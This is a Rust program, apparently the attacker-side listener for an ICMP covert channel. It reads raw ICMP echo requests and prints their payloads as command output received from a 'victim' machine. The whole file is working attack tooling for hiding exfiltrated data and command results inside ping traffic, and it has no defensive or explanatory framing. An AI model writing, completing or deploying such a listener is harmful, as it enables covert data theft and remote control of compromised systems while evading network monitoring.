use std::net::IpAddr; use pnet::packet::{Packet}; use pnet::packet::icmp::{IcmpTypes, echo_request, IcmpPacket}; use pnet::transport::{icmp_packet_iter, transport_channel, TransportChannelType, TransportProtocol}; use pnet::packet::ip::IpNextHeaderProtocols; fn main() { let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp)); let (_tx, mut rx) = transport_channel(1024, protocol).expect("Failed to open channel"); println!("[*] Attacker listener ready — waiting for victim’s output..."); let mut iter = icmp_packet_iter(&mut rx); while let Ok((packet, sender_ip)) = iter.next() { println!("Got ICMP packet from {} type: {:?}", sender_ip, packet.get_icmp_type()); if packet.get_icmp_type() == IcmpTypes::EchoRequest { if let Some(req) = echo_request::EchoRequestPacket::new(packet.packet()) { let data = req.payload(); if !data.is_empty() { println!( "[<] From {} | ID={} SEQ={} | Output:\n{}", sender_ip, req.get_identifier(), req.get_sequence_number(), String::from_utf8_lossy(data) ); } else { println!("[<] From {} | ID={} SEQ={} | No payload", sender_ip, req.get_identifier(), req.get_sequence_number()); } } else { println!("Malformed ICMP Echo Request packet"); } } } }